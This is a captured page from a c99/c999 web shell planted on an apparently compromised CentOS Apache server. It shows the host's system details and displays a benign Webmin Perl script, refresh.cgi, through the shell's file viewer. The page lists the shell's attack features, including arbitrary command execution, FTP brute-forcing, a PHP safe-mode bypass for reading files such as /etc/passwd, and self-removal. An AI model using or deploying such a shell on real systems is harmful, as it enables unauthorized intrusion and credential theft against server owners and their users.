!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/cluster-useradmin/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     refresh.cgi (2.31 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# refresh.cgi
# Reload the lists of users and groups from all managed hosts

require './cluster-useradmin-lib.pl';
&ReadParse();
&ui_print_header(undef, $text{'refresh_title'}, "");
$| = 1;

# Setup error handler for down hosts
sub ref_error
{
$ref_error_msg = join("", @_);
}
&remote_error_setup(\&ref_error);

@hosts = &list_useradmin_hosts();
@servers = &list_servers();
if (defined($in{'id'})) {
    @hosts = grep { $_->{'id'} == $in{'id'} } @hosts;
    local ($s) = grep { $_->{'id'} == $hosts[0]->{'id'} } @servers;
    print "<b>",&text('refresh_header5', undef,
              &server_name($s)),"</b><p>\n";
    }
else {
    @hosts = &create_on_parse("refresh_header");
    }
foreach $h (@hosts) {
    $ref_error_msg = undef;
    local ($s) = grep { $_->{'id'} == $h->{'id'} } @servers;
    if ($s) {
        # Refresh the list
        local $d = $s->{'desc'} ? $s->{'desc'} : $s->{'host'};
        &remote_foreign_require($s->{'host'}, "useradmin",
                    "user-lib.pl");
        if ($ref_error_msg) {
            # Host is down ..
            print &text('refresh_failed', $d,
                    $ref_error_msg),"<br>\n";
            next;
            }
        local $ousers = @{$h->{'users'}};
        local $ogroups = @{$h->{'groups'}};
        local @rusers = &remote_foreign_call($s->{'host'}, "useradmin",
                             "list_users");
        local @rgroups = &remote_foreign_call($s->{'host'}, "useradmin",
                              "list_groups");
        $h->{'users'} = \@rusers;
        $h->{'groups'} = \@rgroups;
        print &text('refresh_host', $d),"\n";
        local @ad;
        if (@rusers > $ousers) {
            push(@ad, &text('refresh_uadd', @rusers - $ousers));
            }
        elsif (@rusers < $ousers) {
            push(@ad, &text('refresh_udel', $ousers - @rusers));
            }
        if (@rgroups > $ogroups) {
            push(@ad, &text('refresh_gadd', @rgroups - $ogroups));
            }
        elsif (@rgroups < $ogroups) {
            push(@ad, &text('refresh_gdel', $ogroups - @rgroups));
            }
        if (@ad) {
            print "(",join(", ", @ad),")";
            }
        &save_useradmin_host($h);
        print "<br>\n";
        }
    else {
        # remove from managed list
        &delete_useradmin_host($h);
        print &text('refresh_del', $h->{'id'}),"<br>\n";
        }
    }
print "<p><b>$text{'refresh_done'}</b><p>\n";
&webmin_log("refresh");

&remote_finished();
if (defined($in{'id'})) {
        &ui_print_footer("edit_host.cgi?id=$in{'id'}", $text{'host_return'},
                         "", $text{'index_return'});
        }
else {
        &ui_print_footer("", $text{'index_return'});
        }


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--